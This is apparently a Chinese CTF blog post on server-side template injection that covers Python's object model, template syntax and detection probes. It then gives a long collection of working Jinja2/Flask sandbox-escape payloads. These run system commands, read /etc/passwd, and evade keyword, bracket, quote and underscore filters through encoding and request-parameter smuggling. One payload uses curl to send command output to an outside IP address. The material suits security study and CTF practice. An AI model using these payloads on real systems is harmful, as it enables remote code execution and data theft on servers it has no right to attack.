3rsh1
/single dog/college student/ctfer
3rsh1's Blog

ssti模板注入浅析及绕过总结

ssti模板注入

——我清楚自己的渺小。

基础知识:

bypass沙盒:

这里就先简述以下type和object。

https://www.3rsh1.cool/wp-content/uploads/2020/04/wp_editor_md_1fb97b20f36aed08c6904044cf4fccfd.jpg

python内所有的东西都是对象,比如说,int类型是对象,2是对象,方法以及类都是对象。

而在对象之间有两种关系,一个是父类子类的关系,二是类型实例的关系。

但是嘞,在python3以上的版本中,类和类型已经是一种东西了。

object在python中是一个类,他是所有类的父类也是超类和基类,类似于我们人类的祖先。在其分支下有许多子类,比如说str等。而对于类还有一个实例化的操作,就相当于中国人中的你或者我,就是一个实例。当然也可以拿蛇来打比方。蛇是一种爬行动物,子类是一种父类。蛇类实例化为一条叫Tom的蛇,类实例化为具有显著特征的客观存在的一个实体。

而在实例化的过程中就出现了类型实例的影子,我们通常认为所有实例的类型的最顶峰就是type类型。

其实不那么细究的话,对于子类父类这条线,他的最开始就是object类。对于实例类型这条线,他的最开始就是type。两条线在一定的位置有重复的部分。

对于先有type还是现有object的问题就类似于先有鸡还是先有蛋的问题了。对于对象有一定的属性,而对于类或者实例也是如此,蛇类有蛇类的特征,Tom蛇也有其特有的特征。

对于上述的图也一起来看一下,虚线代表类型实例关系,实现代表父类子类关系。cobj是由类型C实例化的一个对象,类C的类型是type。

mylist是list类型的一个实例。list类型同样是type的一个类型,list类也是object的一个子类。

有些关系在上面的图中可以看的很明白了。

属性__class__是沿着类型实例关系向上走一个。

''.__class__#<class 'str'>

属性__bases__是沿着父类子类关系向上走一个。

print(''.__class__.__bases__)#(<class 'object'>,)

需要注意的是,实例是不能用__bases__方法的,因为实例没有父类。

方法__subclasses__()是返回类的所有子类,如果把这个方法和object联合起来使用就是返回当前空间中可用的类的集合。

print(''.__class__.__bases__.__subclasses__())#[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>...

属性__mro__也是返回其父类,和__bases__有一定区别,貌似是比b要多一个自身类:

print(''.__class__.__mro__)#(<class 'str'>, <class 'object'>)

数组的第二个值才是object类。

dir()方法,查看对于一个实例或者说是对象我们可以使用的属性和方法:

print(dir(requests))#['ConnectTimeout', 'ConnectionError', 'DependencyWarning', 'FileModeWarning', 'HTTPError', 'NullHandler', 'PreparedRequest', 'ReadTimeout', 'Request', 'RequestException', 'RequestsDependencyWarning', 'Response', 'Session', 'Timeout', 'TooManyRedirects', 'URLRequired', '__author__', '__author_email__', '__build__', '__builtins__', '__cached__', '__cake__', '__copyright__', '__description__', '__doc__', '__file__', '__license__', '__loader__', '__name__', '__package__', '__path__', '__spec__', '__title__', '__url__', '__version__', '_check_cryptography', '_internal_utils', 'adapters', 'api', 'auth', 'certs', 'chardet', 'check_compatibility', 'codes', 'compat', 'cookies', 'delete', 'exceptions', 'get', 'head', 'hooks', 'logging', 'models', 'options', 'packages', 'patch', 'post', 'put', 'request', 'session', 'sessions', 'status_codes', 'structures', 'urllib3', 'utils', 'warnings']

属性__globals__,返回当前空间下可用的模块,方法和属性:

#函数名+.__globals__
print(c.__init__.__globals__)#以字典形式返回
print(c.__init__.__globals__.keys())#返回字典的键
print(c.__init__.__globals__.values())#返回字典的值
#一般来说,值是对键的介绍

对于模块__builtins__是内建模块的名称,在新建一个py文件的时候我们往往可以使用一些函数hex()等,这是因为一般这个模块是默认导入的。这里还有关于builtinbuiltins的区别,我就不再深究了。直接摘过来了。

__builtin____builtins__之间是什么关系呢?

1、在主模块main中,__builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin__,二者完全是一个东西,不分彼此。

2、非主模块main中,__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身

这里的__init__函数可能也要说明一下:

__init__方法类似于构造函数但是不同于构造函数,大部分类内都会含有这个方法。至于哪里不同呢,构造函数和构造对象是同步的,__init__方法呢,则是在对象构造完成之后再给类内的属性赋值。起到的是对象初始化的作用。

模板引擎入门:

只能说,不同的引擎有不同的语法,也有方法来注入。

而模板引擎的作用就是将逻辑代码与业务代码分离。比如说一个正常的html页面可能是由PHP代码和html代码构成的,如果将这两类代码毫无规律的混在一起会非常影响阅读。所以就有了模板引擎的出现,以及渲染的出现。

在我的理解里,渲染就是模板和数据代码结合的一个过程。当然这样的理解很片面。

def get(self,request):
    num = 1
    name = "张三"
    li = [1,2,3,4]
    dic = {"1":"a","2":"b"}
    class Cl():
        count = "abc"
        def foo(self):
            print("foo")
    # return render(request,"index.html",{"num":num,"name":name,"li":li,"dic":dic,"cl":cl})
    return render(request,"index.html",locals())

这是一段代码,应用的模板是django模板,其中的rend()函数:

接受三个参数,第一个参数request是请求。第二个参数是需要渲染的界面。第三个参数是保存具体数据的字典。

def index(request):
    # 业务逻辑代码
    return render(request, "index.html", {"name": "monicx", "hobby": ["reading", "blog"]})

这里其实可以再深入理解一下,request是用于生成响应的请求对象,第二个参数为要使用的模板全称,第三个参数是要加到渲染模板中的数据,会在渲染之前调用这个字典里的内容。这里还有三个别的参数就不细究了。

<h1>{{ num }}</h1>
<h1>{{ name }}</h1>
<h1>{{ li }}</h1>
<h1>{{ dic.k1}}</h1>
<h1>{{ dic.keys }}</h1>
<h1>{{ dic.values }}</h1>
<h1>{{ dic.items }}</h1>
<h1>{{ Cl.count }}</h1>
<!--通过点可以进行字典查询、属性或方法查询、索引查询-->

上面的估计是index.html里的内容,这样看来渲染似乎就很好理解了。

下面再来看一段代码:

$output = $twig->render( $_GET['custom_email'] , array("first_name" => $user.first_name) );

这里的模板是twig模板,rend()函数和上个模板的rend()函数有所不同。它的第一个参数是要渲染的界面,第二个参数和上述的第三个参数差不多,都是需要被渲染进去的内容,故以字典的形式来表示。上面的代码的意思就是渲染get的值。

<?php

    require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php';

    Twig_Autoloader::register(true);

    twig = new Twig_Environment(new Twig_Loader_String());

    output = twig->render("Hello {{name}}", array("name" =>_GET["name"]));  // 将用户输入作为模版变量的值

    echo $output;

    ?>

渲染的过程中,模板中的name并不会直接使用get的值,而是进行编码和转义。所以说xss就没有作用了。若果是下述情况:

$output = $twig->render("Hello {$_GET['name']}"); // 将用户输入作为模版内容的一部分

这样的话就会存在xss漏洞。

模板语法:

django:

https://blog.csdn.net/wy121221612/article/details/102587410

模板:

{{ }}//其内装载的是一个变量名称,会使用用户传进来的同名名称替换他。
{% %}//装载控制语句
{# #}//装载注释内容,不会显示

在模板中添加变量:

{% set name='' %}

with创建一个作用域set语句放在内部,则设置的变量只会在作用域内生效:

{% with set gg=42 %}
{{ gg }}
{% endwith %}

if语句:

{% if ken.sick %}
Ken is sick.
{% elif ken.dead %}
You killed Ken! You bastard!!!
{% else %}
Kenny looks okay --- so far
{% endif %}

for语句:

{% for user in users%}
{{ user.username|e }}
{% endfor %}

在书写语句的过程中要注意,字符和内部的语句之间要空个空格出来。

遍历:

{% for key, value in <strong>my_dict.iteritems()</strong> %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}

内部的循环常量:

loop.index 当前迭代的索引(从1开始)
loop.index0 当前迭代的索引(从0开始)
loop.first 是否是第一次迭代,返回True/False
loop.last 是否是最后一次迭代,返回True/False
loop.length 序列的长度
注意:不可以使用continue和break表达式来控制循环的执行。

过滤器是通过|来使用的,例如{{ name|length }},返回name的长度,注意|后无空格。

abs(value):返回一个数值的绝对值。示例:-1|abs
last(value):返回一个序列的最后一个元素。示例:names|last。
length(value):返回一个序列或者字典的长度。示例:names|length。
join(value,d=u''):将一个序列用d这个参数的值拼接成字符串。
int(value):将值转换为int类型。
float(value):将值转换为float类型。
lower(value):将字符串转换为小写。
upper(value):将字符串转换为小写

twig:

https://www.kancloud.cn/yunye/twig-cn/159456

一些模板引擎:Smarty,Mako,Jinja2,Jade,Velocity,Freemaker和Twig 等,以后有机会的话会更新的。

探测方法:

https://www.3rsh1.cool/wp-content/uploads/2020/04/wp_editor_md_566d84a322d07a074048610f13ca15be.jpg

模板主要用于动态呈现内容,上下文的数据都是被控制的。而当用户提供可靠数据的时候,数据就会被带到模板中去,呈现给用户。但是当内容不合理的时候模板也会执行。漏洞因此产生。

测试:

{{7+7}}//简单的数学表达式
{{'jinji'}}//字符串

ruby:

<%= 7*7 %>
<%= file.open('/etc/passwd').read %>

java:

${7*7}

twig:

{{7*7}}

smarty:

{php} echo `id`;{/php}

angularJS:

$eval(1+1)

tornado:

{%import module%}
{%import os%}{{%os.popen('whoami').read()%}}

flask/jinja2:

{{config.items()}}
{{''.__class__.__bases__.__subclasses__()}}

django:

{{ request }}
{% debug %}
{% load module %}
{% include "x.html" %}
{% extends "x.html" %}

继承链bypass沙盒的三种方法:

1,file文件读取

().__class__.__bases__[0].__subclasses__()[77]('filename').readlines()

其实思路就是先找任何一个实例的类型,再找此类型的父类object。寻找此类下所有的子类,重点寻找file类。因为可以通过file类内的readlines()方法来读取文件。

下面是如何寻找file类的脚本:

search='file'
num=0
for i in ().__class__.__bases__[0].__subclasses__():
    if 'file' in str(i):
        print(num)
    num=num+1

第一种方法等价于:

file('filename').readlines()

但是3已经移除了file类,所以只能在2中使用。

2,内置模块执行系统命令

__globals__寻找os模块。

search='os'
num=0
for i in ().__class__.__bases__[0].__subclasses__():
    num=num+1
    try:
        if search in i.__init__.__globals__.keys():
            print(i,num)
    except:
        pass
"""
<class '_frozen_importlib._ModuleLock'> 64
#省略一堆
"""     

payload:

().__class__.__mro__[1].__subclasses__()[77].__init__.__globals__['os'].system('whoami')

可惜的是上述方法也只能在2中使用。

3,__builtins__来实现命令执行

查找__builtins__的脚本也是上面的那个查找os的脚本
().__class__.__bases__[0].__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")

2和3的区别只是索取的子类不同而已。

以上就是这三种方法。

还有个例子,这里就不作笔记了:附上链接

https://xz.aliyun.com/t/2308

绕过技巧:

字符串拼接:

``request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]``

参数绕过:

params = {
    'clas': '__class__',
    'mr': '__mro__',
    'subc': '__subclasses__'
}
data = {
    "data": "{{''[request.args.clas][request.args.mr][1][request.args.subc]()}}"
}
r = requests.post(url, params=params, data=data)
print(r.text)

参考连接:

https://zhuanlan.zhihu.com/p/28823933

参考链接(flask):

https://www.freebuf.com/articles/web/98928.html

更新一下绕过技巧:
————2020年5月8日22点55分
1. 很多模块被删除了,无法利用。

reload(__builtins__)    #重新加载被删除的模块,仅限于py2使用。
  1. 过滤了关键字,如eval等。
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")}}
#base64编码
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['ZXZhbA=='.decode('base64')]("X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk=".decode('base64'))}} 
(可以看出单双引号内的都可以编码) 
#rot13编码
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['riny'.decode('rot13')]
#十六进制编码
("__import__('os').popen('ls').read()")}}  
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['6576616C'.decode('hex')]("__import__('os').popen('ls').read()")}}   
#拼接字符串,或者说,几种编码方式混合使用
#过滤了(ls.import.eval.os)   
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['e'+'val']("__im"+"port__('o'+'s').popen('l'+'s').read()")}}
  1. 过滤了中括号
#3.1 getitem() 用来获取序号
"".__class__.__mro__[2]
"".__class__.__mro__.__getitem__(2)
#3.2fangfa['shuxing']-->fangfa.shuxing,类似于字典  
{{''.__class__.__mro__[2].__subclasses__().__getitem__(59).__init__.__globals__.__builtins__['eval']("__import__('os').popen('cat /etc/passwd').read()")}}  
{{''.__class__.__mro__[2].__subclasses__().__getitem__(59).__init__.__globals__.__builtins__.eval("__import__('os').popen('cat /etc/passwd').read()")}}#(不能直接进入python环境下用,可能是python程序运行的时候会自己加载什么东西。) 

这里的[].__getitem__(2),是返回数组或者字段的指定值。
4. 过滤了引号 ‘ ”

#利用request传值,漏洞形式必须是?name=这种形式的或者说是提交表单用post方式。(这种方法在沙盒逃逸中行不通的,只有web接收参数形式有可能)
{{[].__class__.__mro__[1].__subclasses__()[40](request.args.cat).read()}}&cat=/etc/passwd#(类似于过滤了下划线)
#chr传值
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")}}
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{''.__class__.__mro__[2].__subclasses__().__getitem__(59).__init__.__globals__.__builtins__. eval( chr(95) %2b chr(95) %2b chr(105) %2b chr(109) %2b chr(112) %2b chr(111) %2b chr(114) %2b chr(116) %2b chr(95) %2b chr(95) %2b chr(40) %2b chr(39) %2b chr(111) %2b chr(115) %2b chr(39) %2b chr(41) %2b chr(46) %2b chr(112) %2b chr(111) %2b chr(112) %2b chr(101) %2b chr(110) %2b chr(40) %2b chr(39) %2b chr(108) %2b chr(115) %2b chr(39) %2b chr(41) %2b chr(46) %2b chr(114) %2b chr(101) %2b chr(97) %2b chr(100) %2b chr(40) %2b chr(41))}}
#['eval']这里可以直接用.eval()代替,eval里面的执行的语句,把它全部变为chr()+chr()的形式,最后不要忘记给+编码为%2b
#经过实验我发现只能是里面的执行的语句变为chr()形式,像eval这种不可以。 

这里有点像flask框架接收get来的值,后面的cat会被传递到服务端。被request.args.cat读取到,不用再加引号了。
5. 过滤了双下划线。

#利用request传值
{{()[request.args.class].__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")}}&class=__class__  

如果将args改为post则传值方式由get变为post。
6. 删除了built下的许多函数,无法命令执行。

#os, eval, import,,一种是自己现引入(__import__('os'.popen('ls').read())),另一种是其他的模块直接能够调用os    
#<class 'site._Printer'> [71](可以直接调用os模块)  
{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}    
#<class 'warnings.catch_warnings'>[59]   
#open,eval,file,__import__,reload(并没有os.需要用eval配合__import__导入)
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")}}
  1. 过滤了{{
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://39.105.116.195:8080/?i=`whoami`').read()=='p' %}1{% endif %}

这边应该是配合了ssrf,还有一点就是反引号可以执行系统命令。
其实如果过滤了}}直接用一个判断语语句就可以解决问题。

{%if 1==1%}
{% print(().__class__.__bases__(0)) %}
{%endif%}

这样直接在print()内操作即可。
8. 姿势补充

{{().__class__.__base__.__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['popen']('l'+'s').read()}}

这里的dict用于对象,将类内的属性转化为字典的形式,而对于普通的数据类型是没有dict属性的。
参考链接:

https://www.cnblogs.com/zaqzzz/p/10263396.html

发表评论

textsms
account_circle
email

3rsh1's Blog

ssti模板注入浅析及绕过总结
ssti模板注入 ——我清楚自己的渺小。 基础知识: bypass沙盒: 这里就先简述以下type和object。 python内所有的东西都是对象,比如说,int类型是对象,2是对象,方法以及类都是对象…
扫描二维码继续阅读
2020-04-20